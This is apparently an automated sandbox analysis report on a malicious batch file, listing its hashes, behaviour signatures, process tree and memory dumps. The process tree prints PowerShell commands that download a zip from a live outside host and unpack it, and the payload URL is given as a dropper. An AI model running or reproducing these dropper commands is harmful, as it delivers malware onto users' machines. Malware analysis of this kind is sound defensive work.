3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 23:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (2).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2320	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2320	powershell.exe
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2320	2804	cmd.exe	28
PID 2804 wrote to memory of 2320	2804	cmd.exe	28
PID 2804 wrote to memory of 2320	2804	cmd.exe	28
PID 2804 wrote to memory of 2684	2804	cmd.exe	29
PID 2804 wrote to memory of 2684	2804	cmd.exe	29
PID 2804 wrote to memory of 2684	2804	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
55bc84876ed690d264a001277dd7c570

SHA1
649504a06e169432cd09aa735ffc91992f93d678

SHA256
402156f10a138cf0a8b62775285f7e8007fce63f7cd553f89a3458fcba9d5f84

SHA512
09e84de3b03474ac3daee72206e3017908148d9a5114886f509c7925f5ba4c823e35199b0bce0c156f2bc7321bd62d8951c8bdd7888d425f5302b8a63c8429f6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D1IXGTI5QTOA80XH8UVO.temp

Filesize
7KB

MD5
55bc84876ed690d264a001277dd7c570

SHA1
649504a06e169432cd09aa735ffc91992f93d678

SHA256
402156f10a138cf0a8b62775285f7e8007fce63f7cd553f89a3458fcba9d5f84

SHA512
09e84de3b03474ac3daee72206e3017908148d9a5114886f509c7925f5ba4c823e35199b0bce0c156f2bc7321bd62d8951c8bdd7888d425f5302b8a63c8429f6

Download Submit
memory/2320-13-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-5-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-8-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/2320-9-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/2320-10-0x000007FEF5480000-0x000007FEF5E1D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-11-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/2320-4-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2320-7-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/2320-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2684-20-0x000007FEF4AE0000-0x000007FEF547D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-19-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2684-22-0x0000000001F20000-0x0000000001F28000-memory.dmp

Filesize
32KB

Download
memory/2684-21-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2684-23-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2684-24-0x000007FEF4AE0000-0x000007FEF547D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-25-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2684-26-0x000007FEF4AE0000-0x000007FEF547D000-memory.dmp

Filesize
9.6MB

Download